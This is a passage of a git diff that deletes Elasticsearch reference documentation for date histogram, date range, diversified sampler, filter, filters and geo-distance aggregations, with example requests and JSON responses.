-// tag::offset-result-intro[]
-Instead of a single bucket starting at midnight, the above request groups the
-documents into buckets starting at 6am:
-// end::offset-result-intro[]
-
-[source,console-result]
------------------------------
-{
-  ...
-  "aggregations": {
-    "by_day": {
-      "buckets": [
-        {
-          "key_as_string": "2015-09-30T06:00:00.000Z",
-          "key": 1443592800000,
-          "doc_count": 1
-        },
-        {
-          "key_as_string": "2015-10-01T06:00:00.000Z",
-          "key": 1443679200000,
-          "doc_count": 1
-        }
-      ]
-    }
-  }
-}
------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-// tag::offset-note[]
-NOTE: The start `offset` of each bucket is calculated after `time_zone`
-adjustments have been made.
-// end::offset-note[]
-
-[[date-histogram-keyed-response]]
-==== Keyed Response
-
-Setting the `keyed` flag to `true` associates a unique string key with each
-bucket and returns the ranges as a hash rather than an array:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "sales_over_time": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M",
-        "format": "yyyy-MM-dd",
-        "keyed": true
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "sales_over_time": {
-      "buckets": {
-        "2015-01-01": {
-          "key_as_string": "2015-01-01",
-          "key": 1420070400000,
-          "doc_count": 3
-        },
-        "2015-02-01": {
-          "key_as_string": "2015-02-01",
-          "key": 1422748800000,
-          "doc_count": 2
-        },
-        "2015-03-01": {
-          "key_as_string": "2015-03-01",
-          "key": 1425168000000,
-          "doc_count": 2
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-[[date-histogram-scripts]]
-==== Scripts
-
-As with the normal <<search-aggregations-bucket-histogram-aggregation,histogram>>,
-both document-level scripts and
-value-level scripts are supported. You can control the order of the returned
-buckets using the `order`
-settings and filter the returned buckets based on a `min_doc_count` setting
-(by default all buckets between the first
-bucket that matches documents and the last one are returned). This histogram
-also supports the `extended_bounds`
-setting, which enables extending the bounds of the histogram beyond the data
-itself, and `hard_bounds` that limits the histogram to specified bounds.
-For more information, see
-<<search-aggregations-bucket-histogram-aggregation-extended-bounds,`Extended Bounds`>> and
-<<search-aggregations-bucket-histogram-aggregation-hard-bounds,`Hard Bounds`>>.
-
-[[date-histogram-missing-value]]
-===== Missing value
-
-The `missing` parameter defines how to treat documents that are missing a value.
-By default, they are ignored, but it is also possible to treat them as if they
-have a value.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "sale_date": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "year",
-        "missing": "2000/01/01" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> Documents without a value in the `publish_date` field will fall into the
-same bucket as documents that have the value `2000-01-01`.
-
-[[date-histogram-order]]
-===== Order
-
-By default the returned buckets are sorted by their `key` ascending, but you can
-control the order using
-the `order` setting. This setting supports the same `order` functionality as
-<<search-aggregations-bucket-terms-aggregation-order,`Terms Aggregation`>>.
-
-[[date-histogram-aggregate-scripts]]
-===== Using a script to aggregate by day of the week
-
-When you need to aggregate the results by day of the week, use a script that
-returns the day of the week:
-
-[source,console,id=datehistogram-aggregation-script-example]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "dayOfWeek": {
-      "terms": {
-        "script": {
-          "lang": "painless",
-          "source": "doc['date'].value.dayOfWeekEnum.value"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "dayOfWeek": {
-      "doc_count_error_upper_bound": 0,
-      "sum_other_doc_count": 0,
-      "buckets": [
-        {
-          "key": "7",
-          "doc_count": 4
-        },
-        {
-          "key": "4",
-          "doc_count": 3
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-The response will contain all the buckets having the relative day of
-the week as key : 1 for Monday, 2 for Tuesday... 7 for Sunday.
diff --git a/docs/reference/aggregations/bucket/daterange-aggregation.asciidoc b/docs/reference/aggregations/bucket/daterange-aggregation.asciidoc
deleted file mode 100644
index 6228cfe7da3..00000000000
--- a/docs/reference/aggregations/bucket/daterange-aggregation.asciidoc
+++ /dev/null
@@ -1,402 +0,0 @@
-[[search-aggregations-bucket-daterange-aggregation]]
-=== Date range aggregation
-++++
-<titleabbrev>Date range</titleabbrev>
-++++
-
-A range aggregation that is dedicated for date values. The main difference
-between this aggregation and the normal
-<<search-aggregations-bucket-range-aggregation,range>>
-aggregation is that the `from` and `to` values can be expressed in
-<<date-math,Date Math>> expressions, and it is also possible to specify a date
-format by which the `from` and `to` response fields will be returned.
-Note that this aggregation includes the `from` value and excludes the `to` value
-for each range.
-
-Example:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "range": {
-      "date_range": {
-        "field": "date",
-        "format": "MM-yyyy",
-        "ranges": [
-          { "to": "now-10M/M" },  <1>
-          { "from": "now-10M/M" } <2>
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales s/now-10M\/M/10-2015/]
-
-<1> < now minus 10 months, rounded down to the start of the month.
-<2> >= now minus 10 months, rounded down to the start of the month.
-
-In the example above, we created two range buckets, the first will "bucket" all
-documents dated prior to 10 months ago and the second will "bucket" all
-documents dated since 10 months ago
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "range": {
-      "buckets": [
-        {
-          "to": 1.4436576E12,
-          "to_as_string": "10-2015",
-          "doc_count": 7,
-          "key": "*-10-2015"
-        },
-        {
-          "from": 1.4436576E12,
-          "from_as_string": "10-2015",
-          "doc_count": 0,
-          "key": "10-2015-*"
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-WARNING: If a format or date value is incomplete, the date range aggregation
-replaces any missing components with default values. See
-<<missing-date-components>>.
-
-==== Missing Values
-
-The `missing` parameter defines how documents that are missing a value should
-be treated. By default they will be ignored but it is also possible to treat
-them as if they had a value. This is done by adding a set of fieldname :
-value mappings to specify default values per field.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-   "aggs": {
-       "range": {
-           "date_range": {
-               "field": "date",
-               "missing": "1976/11/30",
-               "ranges": [
-                  { 
-                    "key": "Older",
-                    "to": "2016/02/01" 
-                  }, <1>
-                  { 
-                    "key": "Newer",
-                    "from": "2016/02/01", 
-                    "to" : "now/d" 
-                  }
-              ]
-          }
-      }
-   }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> Documents without a value in the `date` field will be added to the "Older"
-bucket, as if they had a date value of "1976-11-30". 
-
-[[date-format-pattern]]
-==== Date Format/Pattern
-
-NOTE: this information was copied from
-https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html[DateTimeFormatter]
-
-All ASCII letters are reserved as format pattern letters, which are defined
-as follows:
-
-[options="header"]
-|=======
-|Symbol |Meaning                    |Presentation |Examples
-|G      |era                        |text         |AD; Anno Domini; A
-|u      |year                       |year         |2004; 04
-|y      |year-of-era                |year         |2004; 04
-|D      |day-of-year                |number       |189
-|M/L    |month-of-year              |number/text  |7; 07; Jul; July; J
-|d      |day-of-month               |number       |10
-
-|Q/q    |quarter-of-year            |number/text  |3; 03; Q3; 3rd quarter
-|Y      |week-based-year            |year         |1996; 96
-|w      |week-of-week-based-year    |number       |27
-|W      |week-of-month              |number       |4
-|E      |day-of-week                |text         |Tue; Tuesday; T
-|e/c    |localized day-of-week      |number/text  |2; 02; Tue; Tuesday; T
-|F      |week-of-month              |number       |3
-
-|a      |am-pm-of-day               |text         |PM
-|h      |clock-hour-of-am-pm (1-12) |number       |12
-|K      |hour-of-am-pm (0-11)       |number       |0
-|k      |clock-hour-of-am-pm (1-24) |number       |0
-
-|H      |hour-of-day (0-23)         |number       |0
-|m      |minute-of-hour             |number       |30
-|s      |second-of-minute           |number       |55
-|S      |fraction-of-second         |fraction     |978
-|A      |milli-of-day               |number       |1234
-|n      |nano-of-second             |number       |987654321
-|N      |nano-of-day                |number       |1234000000
-
-|V      |time-zone ID               |zone-id      |America/Los_Angeles; Z; -08:30
-|z      |time-zone name             |zone-name    |Pacific Standard Time; PST
-|O      |localized zone-offset      |offset-O     |GMT+8; GMT+08:00; UTC-08:00;
-|X      |zone-offset 'Z' for zero   |offset-X     |Z; -08; -0830; -08:30; -083015; -08:30:15;
-|x      |zone-offset                |offset-x     |+0000; -08; -0830; -08:30; -083015; -08:30:15;
-|Z      |zone-offset                |offset-Z     |+0000; -0800; -08:00;
-
-|p      |pad next                   |pad modifier |1
-|'      |escape for text            |delimiter
-|''     |single quote               |literal      |'
-|[      |optional section start
-|]      |optional section end
-|#      |reserved for future use
-|{      |reserved for future use
-|}      |reserved for future use
-|=======
-
-The count of pattern letters determines the format.
-
-Text:: The text style is determined based on the number of pattern letters
-used. Less than 4 pattern letters will use the short form. Exactly 4
-pattern letters will use the full form. Exactly 5 pattern letters will use
-the narrow form. Pattern letters `L`, `c`, and `q` specify the stand-alone
-form of the text styles.
-
-Number:: If the count of letters is one, then the value is output using
-the minimum number of digits and without padding. Otherwise, the count of
-digits is used as the width of the output field, with the value
-zero-padded as necessary. The following pattern letters have constraints
-on the count of letters. Only one letter of `c` and `F` can be specified.
-Up to two letters of `d`, `H`, `h`, `K`, `k`, `m`, and `s` can be
-specified. Up to three letters of `D` can be specified.
-
-Number/Text:: If the count of pattern letters is 3 or greater, use the
-Text rules above. Otherwise use the Number rules above.
-
-Fraction:: Outputs the nano-of-second field as a fraction-of-second. The
-nano-of-second value has nine digits, thus the count of pattern letters is
-from 1 to 9. If it is less than 9, then the nano-of-second value is
-truncated, with only the most significant digits being output.
-
-Year:: The count of letters determines the minimum field width below which
-padding is used. If the count of letters is two, then a reduced two digit
-form is used. For printing, this outputs the rightmost two digits. For
-parsing, this will parse using the base value of 2000, resulting in a year
-within the range 2000 to 2099 inclusive. If the count of letters is less
-than four (but not two), then the sign is only output for negative years
-as per `SignStyle.NORMAL`. Otherwise, the sign is output if the pad width is
-exceeded, as per `SignStyle.EXCEEDS_PAD`.
-
-ZoneId:: This outputs the time-zone ID, such as `Europe/Paris`. If the
-count of letters is two, then the time-zone ID is output. Any other count
-of letters throws `IllegalArgumentException`.
-
-Zone names:: This outputs the display name of the time-zone ID. If the
-count of letters is one, two or three, then the short name is output. If
-the count of letters is four, then the full name is output. Five or more
-letters throws `IllegalArgumentException`.
-
-Offset X and x:: This formats the offset based on the number of pattern
-letters. One letter outputs just the hour, such as `+01`, unless the
-minute is non-zero in which case the minute is also output, such as
-`+0130`. Two letters outputs the hour and minute, without a colon, such as
-`+0130`. Three letters outputs the hour and minute, with a colon, such as
-`+01:30`. Four letters outputs the hour and minute and optional second,
-without a colon, such as `+013015`. Five letters outputs the hour and
-minute and optional second, with a colon, such as `+01:30:15`. Six or
-more letters throws `IllegalArgumentException`. Pattern letter `X` (upper
-case) will output `Z` when the offset to be output would be zero,
-whereas pattern letter `x` (lower case) will output `+00`, `+0000`, or
-`+00:00`.
-
-Offset O:: This formats the localized offset based on the number of
-pattern letters. One letter outputs the short form of the localized
-offset, which is localized offset text, such as `GMT`, with hour without
-leading zero, optional 2-digit minute and second if non-zero, and colon,
-for example `GMT+8`. Four letters outputs the full form, which is
-localized offset text, such as `GMT, with 2-digit hour and minute
-field, optional second field if non-zero, and colon, for example
-`GMT+08:00`. Any other count of letters throws
-`IllegalArgumentException`.
-
-Offset Z:: This formats the offset based on the number of pattern letters.
-One, two or three letters outputs the hour and minute, without a colon,
-such as `+0130`. The output will be `+0000` when the offset is zero.
-Four letters outputs the full form of localized offset, equivalent to
-four letters of Offset-O. The output will be the corresponding localized
-offset text if the offset is zero. Five letters outputs the hour,
-minute, with optional second if non-zero, with colon. It outputs `Z` if
-the offset is zero. Six or more letters throws IllegalArgumentException.
-
-Optional section:: The optional section markers work exactly like calling
-`DateTimeFormatterBuilder.optionalStart()` and
-`DateTimeFormatterBuilder.optionalEnd()`.
-
-Pad modifier:: Modifies the pattern that immediately follows to be padded
-with spaces. The pad width is determined by the number of pattern letters.
-This is the same as calling `DateTimeFormatterBuilder.padNext(int)`.
-
-For example, `ppH` outputs the hour-of-day padded on the left with spaces to a width of 2.
-
-Any unrecognized letter is an error. Any non-letter character, other than
-`[`, `]`, `{`, `}`, `#` and the single quote will be output directly.
-Despite this, it is recommended to use single quotes around all characters
-that you want to output directly to ensure that future changes do not
-break your application.
-
-
-[[time-zones]]
-==== Time zone in date range aggregations
-
-Dates can be converted from another time zone to UTC by specifying the
-`time_zone` parameter.
-
-Time zones may either be specified as an ISO 8601 UTC offset (e.g. +01:00 or
--08:00) or as one of the time zone ids from the TZ database.
-
-The `time_zone` parameter is also applied to rounding in date math expressions.
-As an example, to round to the beginning of the day in the CET time zone, you
-can do the following:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-   "aggs": {
-       "range": {
-           "date_range": {
-               "field": "date",
-               "time_zone": "CET",
-               "ranges": [
-                  { "to": "2016/02/01" }, <1>
-                  { "from": "2016/02/01", "to" : "now/d" }, <2>
-                  { "from": "now/d" }
-              ]
-          }
-      }
-   }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> This date will be converted to `2016-02-01T00:00:00.000+01:00`.
-<2> `now/d` will be rounded to the beginning of the day in the CET time zone.
-
-==== Keyed Response
-
-Setting the `keyed` flag to `true` will associate a unique string key with each
-bucket and return the ranges as a hash rather than an array:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "range": {
-      "date_range": {
-        "field": "date",
-        "format": "MM-yyy",
-        "ranges": [
-          { "to": "now-10M/M" },
-          { "from": "now-10M/M" }
-        ],
-        "keyed": true
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales s/now-10M\/M/10-2015/]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "range": {
-      "buckets": {
-        "*-10-2015": {
-          "to": 1.4436576E12,
-          "to_as_string": "10-2015",
-          "doc_count": 7
-        },
-        "10-2015-*": {
-          "from": 1.4436576E12,
-          "from_as_string": "10-2015",
-          "doc_count": 0
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-It is also possible to customize the key for each range:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "range": {
-      "date_range": {
-        "field": "date",
-        "format": "MM-yyy",
-        "ranges": [
-          { "from": "01-2015", "to": "03-2015", "key": "quarter_01" },
-          { "from": "03-2015", "to": "06-2015", "key": "quarter_02" }
-        ],
-        "keyed": true
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "range": {
-      "buckets": {
-        "quarter_01": {
-          "from": 1.4200704E12,
-          "from_as_string": "01-2015",
-          "to": 1.425168E12,
-          "to_as_string": "03-2015",
-          "doc_count": 5
-        },
-        "quarter_02": {
-          "from": 1.425168E12,
-          "from_as_string": "03-2015",
-          "to": 1.4331168E12,
-          "to_as_string": "06-2015",
-          "doc_count": 2
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
diff --git a/docs/reference/aggregations/bucket/diversified-sampler-aggregation.asciidoc b/docs/reference/aggregations/bucket/diversified-sampler-aggregation.asciidoc
deleted file mode 100644
index 4b829255db3..00000000000
--- a/docs/reference/aggregations/bucket/diversified-sampler-aggregation.asciidoc
+++ /dev/null
@@ -1,204 +0,0 @@
-[[search-aggregations-bucket-diversified-sampler-aggregation]]
-=== Diversified sampler aggregation
-++++
-<titleabbrev>Diversified sampler</titleabbrev>
-++++
-
-Like the `sampler` aggregation this is a filtering aggregation used to limit any sub aggregations' processing to a sample of the top-scoring documents.
-The `diversified_sampler` aggregation adds the ability to limit the number of matches that share a common value such as an "author".
-
-NOTE: Any good market researcher will tell you that when working with samples of data it is important
-that the sample represents a healthy variety of opinions rather than being skewed by any single voice.
-The same is true with aggregations and sampling with these diversify settings can offer a way to remove the bias in your content (an over-populated geography,
-a large spike in a timeline or an over-active forum spammer).
-
-
-.Example use cases:
-* Tightening the focus of analytics to high-relevance matches rather than the potentially very long tail of low-quality matches
-* Removing bias from analytics by ensuring fair representation of content from different sources
-* Reducing the running cost of aggregations that can produce useful results using only samples e.g. `significant_terms`
-
-A choice of `field` or `script` setting is used to provide values used for de-duplication and the `max_docs_per_value` setting controls the maximum
-number of documents collected on any one shard which share a common value. The default setting for `max_docs_per_value` is 1.
-
-The aggregation will throw an error if the choice of `field` or `script` produces multiple values for a single document (de-duplication using multi-valued fields is not supported due to efficiency concerns).
-
-
-Example:
-
-We might want to see which tags are strongly associated with `#elasticsearch` on StackOverflow
-forum posts but ignoring the effects of some prolific users with a tendency to misspell #Kibana as #Cabana.
-
-[source,console]
---------------------------------------------------
-POST /stackoverflow/_search?size=0
-{
-  "query": {
-    "query_string": {
-      "query": "tags:elasticsearch"
-    }
-  },
-  "aggs": {
-    "my_unbiased_sample": {
-      "diversified_sampler": {
-        "shard_size": 200,
-        "field": "author"
-      },
-      "aggs": {
-        "keywords": {
-          "significant_terms": {
-            "field": "tags",
-            "exclude": [ "elasticsearch" ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:stackoverflow]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "my_unbiased_sample": {
-      "doc_count": 151,           <1>
-      "keywords": {               <2>
-        "doc_count": 151,
-        "bg_count": 650,
-        "buckets": [
-          {
-            "key": "kibana",
-            "doc_count": 150,
-            "score": 2.213,
-            "bg_count": 200
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-// TESTRESPONSE[s/2.213/$body.aggregations.my_unbiased_sample.keywords.buckets.0.score/]
-
-<1> 151 documents were sampled in total.
-<2> The results of the significant_terms aggregation are not skewed by any single author's quirks because we asked for a maximum of one post from any one author in our sample.
-
-==== Scripted example:
-
-In this scenario we might want to diversify on a combination of field values. We can use a `script` to produce a hash of the
-multiple values in a tags field to ensure we don't have a sample that consists of the same repeated combinations of tags.
-
-[source,console]
---------------------------------------------------
-POST /stackoverflow/_search?size=0
-{
-  "query": {
-    "query_string": {
-      "query": "tags:kibana"
-    }
-  },
-  "aggs": {
-    "my_unbiased_sample": {
-      "diversified_sampler": {
-        "shard_size": 200,
-        "max_docs_per_value": 3,
-        "script": {
-          "lang": "painless",
-          "source": "doc['tags'].hashCode()"
-        }
-      },
-      "aggs": {
-        "keywords": {
-          "significant_terms": {
-            "field": "tags",
-            "exclude": [ "kibana" ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:stackoverflow]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "my_unbiased_sample": {
-      "doc_count": 6,
-      "keywords": {
-        "doc_count": 6,
-        "bg_count": 650,
-        "buckets": [
-          {
-            "key": "logstash",
-            "doc_count": 3,
-            "score": 2.213,
-            "bg_count": 50
-          },
-          {
-            "key": "elasticsearch",
-            "doc_count": 3,
-            "score": 1.34,
-            "bg_count": 200
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-// TESTRESPONSE[s/2.213/$body.aggregations.my_unbiased_sample.keywords.buckets.0.score/]
-// TESTRESPONSE[s/1.34/$body.aggregations.my_unbiased_sample.keywords.buckets.1.score/]
-
-==== shard_size
-
-The `shard_size` parameter limits how many top-scoring documents are collected in the sample processed on each shard.
-The default value is 100.
-
-==== max_docs_per_value
-The `max_docs_per_value` is an optional parameter and limits how many documents are permitted per choice of de-duplicating value.
-The default setting is "1".
-
-
-==== execution_hint
-
-The optional `execution_hint` setting can influence the management of the values used for de-duplication.
-Each option will hold up to `shard_size` values in memory while performing de-duplication but the type of value held can be controlled as follows:
-
- - hold field values directly (`map`)
- - hold ordinals of the field as determined by the Lucene index (`global_ordinals`)
- - hold hashes of the field values - with potential for hash collisions (`bytes_hash`)
-
-The default setting is to use <<eager-global-ordinals,`global_ordinals`>> if this information is available from the Lucene index and reverting to `map` if not.
-The `bytes_hash` setting may prove faster in some cases but introduces the possibility of false positives in de-duplication logic due to the possibility of hash collisions.
-Please note that Elasticsearch will ignore the choice of execution hint if it is not applicable and that there is no backward compatibility guarantee on these hints.
-
-==== Limitations
-
-[[div-sampler-breadth-first-nested-agg]]
-===== Cannot be nested under `breadth_first` aggregations
-Being a quality-based filter the diversified_sampler aggregation needs access to the relevance score produced for each document.
-It therefore cannot be nested under a `terms` aggregation which has the `collect_mode` switched from the default `depth_first` mode to `breadth_first` as this discards scores.
-In this situation an error will be thrown.
-
-===== Limited de-dup logic.
-The de-duplication logic applies only at a shard level so will not apply across shards.
-
-[[spec-syntax-geo-date-fields]]
-===== No specialized syntax for geo/date fields
-Currently the syntax for defining the diversifying values is defined by a choice of `field` or
-`script` - there is no added syntactical sugar for expressing geo or date units such as "7d" (7
-days). This support may be added in a later release and users will currently have to create these
-sorts of values using a script.
diff --git a/docs/reference/aggregations/bucket/filter-aggregation.asciidoc b/docs/reference/aggregations/bucket/filter-aggregation.asciidoc
deleted file mode 100644
index a3cf365d317..00000000000
--- a/docs/reference/aggregations/bucket/filter-aggregation.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
-[[search-aggregations-bucket-filter-aggregation]]
-=== Filter aggregation
-++++
-<titleabbrev>Filter</titleabbrev>
-++++
-
-Defines a single bucket of all the documents in the current document set context that match a specified filter. Often this will be used to narrow down the current aggregation context to a specific set of documents.
-
-Example:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "t_shirts": {
-      "filter": { "term": { "type": "t-shirt" } },
-      "aggs": {
-        "avg_price": { "avg": { "field": "price" } }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-In the above example, we calculate the average price of all the products that are of type t-shirt.
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "t_shirts": {
-      "doc_count": 3,
-      "avg_price": { "value": 128.33333333333334 }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
diff --git a/docs/reference/aggregations/bucket/filters-aggregation.asciidoc b/docs/reference/aggregations/bucket/filters-aggregation.asciidoc
deleted file mode 100644
index b7807c19029..00000000000
--- a/docs/reference/aggregations/bucket/filters-aggregation.asciidoc
+++ /dev/null
@@ -1,190 +0,0 @@
-[[search-aggregations-bucket-filters-aggregation]]
-=== Filters aggregation
-++++
-<titleabbrev>Filters</titleabbrev>
-++++
-
-Defines a multi bucket aggregation where each bucket is associated with a
-filter. Each bucket will collect all documents that match its associated
-filter.
-
-Example:
-
-[source,console]
---------------------------------------------------
-PUT /logs/_bulk?refresh
-{ "index" : { "_id" : 1 } }
-{ "body" : "warning: page could not be rendered" }
-{ "index" : { "_id" : 2 } }
-{ "body" : "authentication error" }
-{ "index" : { "_id" : 3 } }
-{ "body" : "warning: connection timed out" }
-
-GET logs/_search
-{
-  "size": 0,
-  "aggs" : {
-    "messages" : {
-      "filters" : {
-        "filters" : {
-          "errors" :   { "match" : { "body" : "error"   }},
-          "warnings" : { "match" : { "body" : "warning" }}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-In the above example, we analyze log messages. The aggregation will build two
-collection (buckets) of log messages - one for all those containing an error,
-and another for all those containing a warning.
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 9,
-  "timed_out": false,
-  "_shards": ...,
-  "hits": ...,
-  "aggregations": {
-    "messages": {
-      "buckets": {
-        "errors": {
-          "doc_count": 1
-        },
-        "warnings": {
-          "doc_count": 2
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 9/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-==== Anonymous filters
-
-The filters field can also be provided as an array of filters, as in the
-following request:
-
-[source,console]
---------------------------------------------------
-GET logs/_search
-{
-  "size": 0,
-  "aggs" : {
-    "messages" : {
-      "filters" : {
-        "filters" : [
-          { "match" : { "body" : "error"   }},
-          { "match" : { "body" : "warning" }}
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-The filtered buckets are returned in the same order as provided in the
-request.  The response for this example would be:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 4,
-  "timed_out": false,
-  "_shards": ...,
-  "hits": ...,
-  "aggregations": {
-    "messages": {
-      "buckets": [
-        {
-          "doc_count": 1
-        },
-        {
-          "doc_count": 2
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 4/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-[[other-bucket]]
-==== `Other` Bucket
-
-The `other_bucket` parameter can be set to add a bucket to the response which will contain all documents that do 
-not match any of the given filters. The value of this parameter can be as follows:
-
-`false`::         Does not compute the `other` bucket
-`true`::          Returns the `other` bucket either in a bucket (named `_other_` by default) if named filters are being used, 
-                  or as the last bucket if anonymous filters are being used
-
-The `other_bucket_key` parameter can be used to set the key for the `other` bucket to a value other than the default `_other_`. Setting 
-this parameter will implicitly set the `other_bucket` parameter to `true`.
-
-The following snippet shows a response where the `other` bucket is requested to be named `other_messages`.
-
-[source,console]
---------------------------------------------------
-PUT logs/_doc/4?refresh
-{
-  "body": "info: user Bob logged out"
-}
-
-GET logs/_search
-{
-  "size": 0,
-  "aggs" : {
-    "messages" : {
-      "filters" : {
-        "other_bucket_key": "other_messages",
-        "filters" : {
-          "errors" :   { "match" : { "body" : "error"   }},
-          "warnings" : { "match" : { "body" : "warning" }}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-The response would be something like the following:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 3,
-  "timed_out": false,
-  "_shards": ...,
-  "hits": ...,
-  "aggregations": {
-    "messages": {
-      "buckets": {
-        "errors": {
-          "doc_count": 1
-        },
-        "warnings": {
-          "doc_count": 2
-        },
-        "other_messages": {
-          "doc_count": 1
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 3/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
diff --git a/docs/reference/aggregations/bucket/geodistance-aggregation.asciidoc b/docs/reference/aggregations/bucket/geodistance-aggregation.asciidoc
deleted file mode 100644
index 202ef696053..00000000000
--- a/docs/reference/aggregations/bucket/geodistance-aggregation.asciidoc
+++ /dev/null
@@ -1,253 +0,0 @@
-[[search-aggregations-bucket-geodistance-aggregation]]
-=== Geo-distance aggregation
-++++
-<titleabbrev>Geo-distance</titleabbrev>
-++++
-
-A multi-bucket aggregation that works on `geo_point` fields and conceptually works very similar to the <<search-aggregations-bucket-range-aggregation,range>> aggregation. The user can define a point of origin and a set of distance range buckets. The aggregation evaluate the distance of each document value from the origin point and determines the buckets it belongs to based on the ranges (a document belongs to a bucket if the distance between the document and the origin falls within the distance range of the bucket).
-
-[source,console]
---------------------------------------------------
-PUT /museums
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "geo_point"
-      }
-    }
-  }
-}
-
-POST /museums/_bulk?refresh
-{"index":{"_id":1}}
-{"location": "52.374081,4.912350", "name": "NEMO Science Museum"}
-{"index":{"_id":2}}
-{"location": "52.369219,4.901618", "name": "Museum Het Rembrandthuis"}
-{"index":{"_id":3}}
-{"location": "52.371667,4.914722", "name": "Nederlands Scheepvaartmuseum"}
-{"index":{"_id":4}}
-{"location": "51.222900,4.405200", "name": "Letterenhuis"}
-{"index":{"_id":5}}
-{"location": "48.861111,2.336389", "name": "Musée du Louvre"}
-{"index":{"_id":6}}
-{"location": "48.860000,2.327000", "name": "Musée d'Orsay"}
-
-POST /museums/_search?size=0
-{
-  "aggs": {
-    "rings_around_amsterdam": {
-      "geo_distance": {
-        "field": "location",
-        "origin": "52.3760, 4.894",
-        "ranges": [
-          { "to": 100000 },
-          { "from": 100000, "to": 300000 },
-          { "from": 300000 }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "rings_around_amsterdam": {
-      "buckets": [
-        {
-          "key": "*-100000.0",
